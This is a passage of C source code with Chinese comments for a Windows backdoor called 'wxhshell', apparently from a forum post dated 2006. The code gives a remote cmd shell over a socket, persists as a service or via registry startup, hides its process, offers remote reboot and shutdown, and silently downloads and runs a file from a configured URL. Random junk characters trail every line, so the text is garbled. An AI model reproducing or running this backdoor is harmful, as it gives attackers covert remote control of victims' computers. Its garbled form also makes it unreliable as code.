  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jyF0asb  
  }  eWO^n>Y  
  else { j3QpY9A  
/#J)EH4p  
    switch(cmd[0]) { |RQ19m@  
  <a *X&P  
  // 帮助 =Haqr*PDx  
  case '?': { wC@5[e$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bu"R2~sb  
    break; TRG(W^<F  
  } tBe)#-O  
  // 安装 ToIvyeFr  
  case 'i': { a pqzf  
    if(Install())  $3](6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }fw;{&s{z  
    else D%cWw0Oq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o uKID_ '  
    break; HxJKS*H;  
    } +~J?/  
  // 卸载 d,au&WZ;_  
  case 'r': { c_xtwdkL9  
    if(Uninstall()) =?UCtYN,P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~~ ]/<d  
    else GDC`\cy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IWN:GFH(  
    break; 42LlR 0  
    } VAf~,T]Ww  
  // 显示 wxhshell 所在路径 l)E \mo 8  
  case 'p': { |i-Qfpn  
    char svExeFile[MAX_PATH]; 2A@9jl s  
    strcpy(svExeFile,"\n\r"); {O*<1v9<  
      strcat(svExeFile,ExeFile); *&B1(&{:V  
        send(wsh,svExeFile,strlen(svExeFile),0); tYyva  
    break; 2X2,( D!  
    } GP ;c$pC  
  // 重启 \s Fdp!M}2  
  case 'b': { N1WP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j.4oYxK!s/  
    if(Boot(REBOOT)) cA ;'~[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W?{:HV  
    else { }AG$E}~/  
    closesocket(wsh); 4R\bU"+jZ_  
    ExitThread(0); ~T<#HSR`  
    } F?'=iY<h  
    break; zmy94Y5PE  
    } ")7,ZN;  
  // 关机 L f[>U  
  case 'd': { sChMIbq!Av  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 94r8DkI  
    if(Boot(SHUTDOWN)) cH6ie?KvAo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f&t]O$  
    else { ,-A8;DW]^J  
    closesocket(wsh); phSF. WC  
    ExitThread(0); !mK[kXo  
    } >%+ "-bY  
    break; ]aq!@rDX  
    } wJh|$Vn  
  // 获取shell DR/qe0D  
  case 's': { u3kK!2cdP  
    CmdShell(wsh); zLXmjrC  
    closesocket(wsh); a8aEZ724  
    ExitThread(0); qVC_K/w 7  
    break; (r`+q[  
  } *=0Wh@?0  
  // 退出 PEZElB ;  
  case 'x': { ayyn6a8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A|tee@H*0  
    CloseIt(wsh); La? q>  
    break; c;e-[F7  
    } 2;%DE<Z  
  // 离开 )F&@ M;2p'  
  case 'q': { _:0<]<x?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  }5bh,'  
    closesocket(wsh); {rGq|Bj  
    WSACleanup(); #(h~l> r  
    exit(1); )eGGA6G  
    break; 0"o<( 1  
        } H ~1laV  
  } oM-{)rvQd  
  } CmRn  
C.s{ &  
  // 提示信息 dv-yZRU:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uOc>~ITPS  
} MQE=8\  
  } ,T"pUeVJ  
]P$8# HiX  
  return; *wP8)yv7  
} +FQ:Q+  
#})Oz| c  
// shell模块句柄 $-"AMZ899  
int CmdShell(SOCKET sock) `3kE$h#  
{ Y\BB;"x1  
STARTUPINFO si; 'T7JXV5  
ZeroMemory(&si,sizeof(si)); UT [7 J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m\7-/e2 a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rB?u.jn0T  
PROCESS_INFORMATION ProcessInfo; E!Hq%L!/  
char cmdline[]="cmd"; rMSB|*_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xPb;_~  
  return 0; 3/:O8H  
} 0~A<AF*t  
UA{sUj+?  
// 自身启动模式 # j*$ `W;  
int StartFromService(void) !$AVl MnJ  
{ [Z,A quCU(  
typedef struct r\vB-nJ  
{ K7<'4i~k  
  DWORD ExitStatus; jd l1Q<Z  
  DWORD PebBaseAddress; =nFT0];  
  DWORD AffinityMask; YS?P A#  
  DWORD BasePriority; NmST1pMk  
  ULONG UniqueProcessId; = Ii@-C  
  ULONG InheritedFromUniqueProcessId; i2.y)K)  
}   PROCESS_BASIC_INFORMATION; Zqd&EOm  
,Ng3!2&$e  
PROCNTQSIP NtQueryInformationProcess; K%qunjv  
y4VCehdJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D[ 7K2G+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -QIcBzw;q  
cZ|D!1%  
  HANDLE             hProcess; JwB:NqB  
  PROCESS_BASIC_INFORMATION pbi; yNc>s/  
Yc=y  Vh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |_F-Abk  
  if(NULL == hInst ) return 0; S n.I ]:l  
seHwn'Jn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9Q]v#&1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GWjKZ1p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vIU+ZdBw  
(&PamsV*8  
  if (!NtQueryInformationProcess) return 0; 'nP'MA9b;a  
^K@r!)We  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6\ux;lksn*  
  if(!hProcess) return 0; w?C _LP  
)g:UH Ns  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [2 2IF  
="@W)"r  
  CloseHandle(hProcess); D> Z>4:EM  
Q+mMp I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZyCAl9{p  
if(hProcess==NULL) return 0; P.qD,$-  
;DC0LJ  
HMODULE hMod; au"HIyi?k  
char procName[255]; "c!s\iuBU  
unsigned long cbNeeded; dtA- 4Ndm  
KrMIJA4>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dwrc"GK!o  
.~v~~VL1NS  
  CloseHandle(hProcess); ;zs*Zd7h M  
>]:R{1h  
if(strstr(procName,"services")) return 1; // 以服务启动 qqw6p j  
n ^n' lgUT  
  return 0; // 注册表启动 x)"=*Jj  
} 6i.'S5.  
YtW#MG$f  
// 主模块 @kvp2P+O  
int StartWxhshell(LPSTR lpCmdLine) ez(4TtT  
{ bIp;$ZHy`K  
  SOCKET wsl; `6~*kCj5  
BOOL val=TRUE; #Yw^n?~~  
  int port=0; G]P4[#5  
  struct sockaddr_in door; :U)e 8  
b cM#KA  
  if(wscfg.ws_autoins) Install(); 32~Tf,  
e"r}I!.  
port=atoi(lpCmdLine); /lr RbZ  
ujz %0Mq;  
if(port<=0) port=wscfg.ws_port; + W@r p#  
Z6D4VZVF  
  WSADATA data; ^{6Y7T]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M|n)LyL  
%M}zi'qQ?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rFx2 S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /4_}wi\  
  door.sin_family = AF_INET; *N>Qj-KAM_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); te6[^_k  
  door.sin_port = htons(port); ,<EmuEw |  
H5&>Eny  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "3\RJ?eW:S  
closesocket(wsl); 7e8hnTzl8<  
return 1; P? 9CBhN  
} 44%H? ,d  
"VT5WFj  
  if(listen(wsl,2) == INVALID_SOCKET) { P*aD2("Z  
closesocket(wsl); EAY9~b6~c  
return 1; {q}: w{x9u  
} 3M%EK2,  
  Wxhshell(wsl); _KZ(Yq>SdY  
  WSACleanup(); ="A[*:h C"  
} \823 U %  
return 0; an5Ss@<4AA  
4aV3x&6X  
} *s%s|/  
AP@xZ%;K  
// 以NT服务方式启动 N.64aL|1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'h81\SKFK9  
{ >hQR  
DWORD   status = 0; J&3;6I &  
  DWORD   specificError = 0xfffffff; 3M@>kIT8  
+uT=Wb \  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W/\7m\ B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ix(4<s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dHp6G^Y  
  serviceStatus.dwWin32ExitCode     = 0; L1F){8[  
  serviceStatus.dwServiceSpecificExitCode = 0;  vo::y"  
  serviceStatus.dwCheckPoint       = 0; {#[a4@B0  
  serviceStatus.dwWaitHint       = 0; "Q/3]hc.  
?0?'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PN.6BJvu  
  if (hServiceStatusHandle==0) return; kBONP^xI  
A%GJ|h,i  
status = GetLastError(); ko5\*!|:lj  
  if (status!=NO_ERROR) 8p5'}Lq  
{ VqbiZOZ@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]$L[3qA.  
    serviceStatus.dwCheckPoint       = 0; +\W"n_PPy  
    serviceStatus.dwWaitHint       = 0; >^Y 9p~  
    serviceStatus.dwWin32ExitCode     = status; 1B1d>V$*  
    serviceStatus.dwServiceSpecificExitCode = specificError; VtKN{sSnu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .1pEq~>  
    return; yr=r? h}  
  } VKs\b-1  
"|Pl(HX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /C(L(X  
  serviceStatus.dwCheckPoint       = 0; VLO>{"{'  
  serviceStatus.dwWaitHint       = 0; Ja (/ym^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +]>a`~   
} bkM$ Qo  
z N t7DK  
// 处理NT服务事件,比如:启动、停止 /tUl(Fp J`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b~Ruhi[E  
{ ]Yj>~k:K  
switch(fdwControl) m_Rgv.gE^  
{ R80R{Ze  
case SERVICE_CONTROL_STOP: y&CUT:M6  
  serviceStatus.dwWin32ExitCode = 0; E$1^}RGT)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9:Y:Vx  
  serviceStatus.dwCheckPoint   = 0; jqLyX  
  serviceStatus.dwWaitHint     = 0; RhJ<<T.2  
  { D3K`b4YV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 %=BYDF  
  } JxvwquI  
  return; tS9m8(Hr%Q  
case SERVICE_CONTROL_PAUSE: 1y@-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H,I}R  
  break; :D,YR(])  
case SERVICE_CONTROL_CONTINUE: ew"Fr1UGYZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7&QVw(:)M  
  break; oby*.61?5l  
case SERVICE_CONTROL_INTERROGATE: ;?[~]"  
  break; [a`i{(!  
}; \8$`:3,@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OM.^>=  
} M ?3N  
kzmt'/L8  
// 标准应用程序主函数 [yyV`&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o2|(0uN'  
{ VsmL#@E  
+sI.GWQ_:  
// 获取操作系统版本 a(7ryl~c=  
OsIsNt=GetOsVer(); xC{NIOYn'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x3P@AC$\  
_kd |:,  
  // 从命令行安装 Z\L@5.*ydE  
  if(strpbrk(lpCmdLine,"iI")) Install(); H|Nw)*.  
\1Bgs^  
  // 下载执行文件 $W?XxgkB?  
if(wscfg.ws_downexe) { nx4aGS"F:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \fhT#/0N  
  WinExec(wscfg.ws_filenam,SW_HIDE); toWmm(7v  
} ep?0@5D}]  
xHG oCFB  
if(!OsIsNt) { 3dbf!   
// 如果时win9x,隐藏进程并且设置为注册表启动 VZ,T`8"  
HideProc(); &8pXkD#A  
StartWxhshell(lpCmdLine); 3/AUV%+  
} . $k"+E  
else ZFON]$Zk  
  if(StartFromService()) IBqY$K+l  
  // 以服务方式启动 /OP*ARoC21  
  StartServiceCtrlDispatcher(DispatchTable); 'l:2R,cP  
else Cm4 *sN.&)  
  // 普通方式启动 A1q^E(}O  
  StartWxhshell(lpCmdLine); P&GZe/6Y  
#SYWAcTkO}  
return 0; M BT-L  
}
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只看该作者 1 发表于: 2006-10-10
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